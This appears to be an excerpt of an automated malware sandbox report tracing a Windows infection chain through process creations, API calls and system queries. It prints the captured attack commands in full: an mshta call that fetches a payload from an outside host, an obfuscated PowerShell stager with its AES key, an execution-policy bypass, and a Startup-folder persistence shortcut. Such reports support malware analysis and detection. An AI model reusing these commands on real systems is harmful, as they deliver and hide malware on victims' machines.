Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_002FA385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00D4A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D4A354 SetUnhandledExceptionFilter,	31_2_00D4A354

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BACE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

18_2_00007FF697BACE68

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B437B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

18_2_00007FF697B437B0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BB9420 SendInput,keybd_event,

18_2_00007FF697BB9420

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BBD1A4 mouse_event,

18_2_00007FF697BBD1A4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($yubmqnrj){return -split ($yubmqnrj -replace '..', '0x$& ')};$jqjjsu = clean('5b4d0aac74af94b96de6d0711e9796af44d95584c20a8120e5f4c2d55e092a7a2d251da390909853b5c79690e93a85cb92b9fdefc65f3cdb1d06cc6879b4516928a8bf4dbb11970d2a2bd075032d2fca7e0d722aaa3530ce3eb19e65fe575e8a25bed1c1bf5dffd683fb4bc2eaa8fe8f1a60500155478d87fac118323c432f5036d59616b9773d97224fa5d5f611314ade0d4c1d3748eb30f2d127d9e5d8abfd58bf6dfab496b4151926b4932eb4e2002c026f0dad699e3bf4e2afba35ac0d2467be27d487758c9f0e13b99ab91507093da9b8c8f3fc004623b2ac22915ff6dda0f2a151fd5c5bc18ffc2d1ad49092e43840545b43c3931b9431f537a4eaf81384fce89e341cb162f0d74c7c8bbe83a369f44c7c8ad2314cde87c92213f354f43436dd67669190c7cf80eab568c8ffe5df1d7a7289e9afcc57749726d4170cb358f474a9b394f92f7a7c59b69e1d4f3048a9af1b1bf6458c6dc0905071fc67bf46b82ab406fd2e0dd0353a56db42cc22a38391221f97af42c621e21e76aad151b423b4198f39a2c8b1b8521c9400861ea34b51e60b32dcf611b5ba64111cb29e6119a047b3c01f8189c05f98facd727c23b17202459a7730c79c74bf89421b7760627c3ef646b0fa2677d229451827319989785d6b8f597dd83e86ce034f586ec33bfb81cea7484471e4468f516fd291ff97f14bf7e804a851c2c5526f5c84be28fadd849079ef0089ceb62a808a2394ffc96a219396786cd01610be36929bf865e35cd69e6a8e9b2594734c53b954ce005a47ed538e28d7bce8e8b096462399f500f3b6d157e20db80631f70368aa3e87f3e6b4a33350e734fe88f2d62fd30b450a5f8061ad2d42d59e00eb1797e197155f3cc5a81e5a28e6fe0a7847c64d970d00eb3212f922e5a69edcca6a771b579da91e8062f135579a2f596f4fb904e51632ec3798751469a06b55f431b3c278d02ba162bad2051dd8ecef925c3b148acc6cf884d595f47eced7ee54a234964c7ac1c53386ee8add5543aab0a0a455d9bc24791a136e50cbe3c2494a9e1c02e194a3c9aecb489457f71355b11d616c94ad17918390627c6f8d0ebfec0d4b85391a1f467aeb4171df3219bb517eb07410a106ff89cca8023c0cf6c0f5251a8e428413363d25f0b505e17aec003693e130a590db8bbe133ffb0bdbc8930da536699d6daac01bb7fd671dbe8deff6b4028fe57fcb454dad571f21c46e58bed7cc67f8f8b3f124e43476cd67f681f52f9e21044f8c5361a690a893fa06d69e2db01a27f3503c04be81bb4a323f8eecba5358ddb14c9ec0469aee1544fb484b6d1a6724132b29f8451bf425b1b9762aa86e3a6ed9a28760c77fec629ae93e74262197d8d6b10f23ed27497ecc808d24e7d6e88ceb1d5788785816c5fa9eab87109e431c7c6442ba4fc96da32d0841a2c60881b66136d63452d540be93e778edec6ba91d01916a1eec4eb6a74f22241194ec1eedc14528eac307306f8e6caaac68402c965a0ce3a683f3bf2b61f6bebd7ec1347eecf6d52329c0f2d6ee0fdc59ad85c3a7b382ee197c38a04dde6fef2ebdf6f21091dd434e3ed41f090c5a4ab1dea7cc5df529dc4724f97f443e9f7616218b009bbae57d41ac9b157fab29601988a46216f36f8fcde4cd489509e890aa17820ac29a5f377819ebd437d5f8da703dc69541b92f3dba8114f5f49d9915b9c79a2e77bd647e7e439d93ae77d39ef6f453bb');$nvgovia = [system.security.cryptography.aes]::create();$nvgovia.key = clean('5045706b41635763586c7a575a435a61');$nvgovia.iv = new-object byte[] 16;$uorhoamrf = $nvgovia.createdecryptor();$gaccxepxb = [text.encoding]::utf8.getstring($uorhoamrf.transformfinalblock($jqjjsu, 0,$jqjjsu.length));
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($yubmqnrj){return -split ($yubmqnrj -replace '..', '0x$& ')};$jqjjsu = clean('5b4d0aac74af94b96de6d0711e9796af44d95584c20a8120e5f4c2d55e092a7a2d251da390909853b5c79690e93a85cb92b9fdefc65f3cdb1d06cc6879b4516928a8bf4dbb11970d2a2bd075032d2fca7e0d722aaa3530ce3eb19e65fe575e8a25bed1c1bf5dffd683fb4bc2eaa8fe8f1a60500155478d87fac118323c432f5036d59616b9773d97224fa5d5f611314ade0d4c1d3748eb30f2d127d9e5d8abfd58bf6dfab496b4151926b4932eb4e2002c026f0dad699e3bf4e2afba35ac0d2467be27d487758c9f0e13b99ab91507093da9b8c8f3fc004623b2ac22915ff6dda0f2a151fd5c5bc18ffc2d1ad49092e43840545b43c3931b9431f537a4eaf81384fce89e341cb162f0d74c7c8bbe83a369f44c7c8ad2314cde87c92213f354f43436dd67669190c7cf80eab568c8ffe5df1d7a7289e9afcc57749726d4170cb358f474a9b394f92f7a7c59b69e1d4f3048a9af1b1bf6458c6dc0905071fc67bf46b82ab406fd2e0dd0353a56db42cc22a38391221f97af42c621e21e76aad151b423b4198f39a2c8b1b8521c9400861ea34b51e60b32dcf611b5ba64111cb29e6119a047b3c01f8189c05f98facd727c23b17202459a7730c79c74bf89421b7760627c3ef646b0fa2677d229451827319989785d6b8f597dd83e86ce034f586ec33bfb81cea7484471e4468f516fd291ff97f14bf7e804a851c2c5526f5c84be28fadd849079ef0089ceb62a808a2394ffc96a219396786cd01610be36929bf865e35cd69e6a8e9b2594734c53b954ce005a47ed538e28d7bce8e8b096462399f500f3b6d157e20db80631f70368aa3e87f3e6b4a33350e734fe88f2d62fd30b450a5f8061ad2d42d59e00eb1797e197155f3cc5a81e5a28e6fe0a7847c64d970d00eb3212f922e5a69edcca6a771b579da91e8062f135579a2f596f4fb904e51632ec3798751469a06b55f431b3c278d02ba162bad2051dd8ecef925c3b148acc6cf884d595f47eced7ee54a234964c7ac1c53386ee8add5543aab0a0a455d9bc24791a136e50cbe3c2494a9e1c02e194a3c9aecb489457f71355b11d616c94ad17918390627c6f8d0ebfec0d4b85391a1f467aeb4171df3219bb517eb07410a106ff89cca8023c0cf6c0f5251a8e428413363d25f0b505e17aec003693e130a590db8bbe133ffb0bdbc8930da536699d6daac01bb7fd671dbe8deff6b4028fe57fcb454dad571f21c46e58bed7cc67f8f8b3f124e43476cd67f681f52f9e21044f8c5361a690a893fa06d69e2db01a27f3503c04be81bb4a323f8eecba5358ddb14c9ec0469aee1544fb484b6d1a6724132b29f8451bf425b1b9762aa86e3a6ed9a28760c77fec629ae93e74262197d8d6b10f23ed27497ecc808d24e7d6e88ceb1d5788785816c5fa9eab87109e431c7c6442ba4fc96da32d0841a2c60881b66136d63452d540be93e778edec6ba91d01916a1eec4eb6a74f22241194ec1eedc14528eac307306f8e6caaac68402c965a0ce3a683f3bf2b61f6bebd7ec1347eecf6d52329c0f2d6ee0fdc59ad85c3a7b382ee197c38a04dde6fef2ebdf6f21091dd434e3ed41f090c5a4ab1dea7cc5df529dc4724f97f443e9f7616218b009bbae57d41ac9b157fab29601988a46216f36f8fcde4cd489509e890aa17820ac29a5f377819ebd437d5f8da703dc69541b92f3dba8114f5f49d9915b9c79a2e77bd647e7e439d93ae77d39ef6f453bb');$nvgovia = [system.security.cryptography.aes]::create();$nvgovia.key = clean('5045706b41635763586c7a575a435a61');$nvgovia.iv = new-object byte[] 16;$uorhoamrf = $nvgovia.createdecryptor();$gaccxepxb = [text.encoding]::utf8.getstring($uorhoamrf.transformfinalblock($jqjjsu, 0,$jqjjsu.length));	Jump to behavior
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BAC858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

18_2_00007FF697BAC858

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BAD540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

18_2_00007FF697BAD540

Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmp, PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmp, Guard.exe, 0000001B.00000000.1655306693.0000000000386000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: PefjSkkhb.exe, Guard.exe, SwiftWrite.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B7FD20 cpuid

18_2_00007FF697B7FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B7BEF8 GetSystemTimeAsFileTime,

18_2_00007FF697B7BEF8

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BA2BCF GetUserNameW,

18_2_00007FF697BA2BCF

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B82650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

18_2_00007FF697B82650

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B61D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

18_2_00007FF697B61D80

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: powershell.exe, 00000019.00000002.1890809020.0000026D23522000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Users\Public\Guard.exe
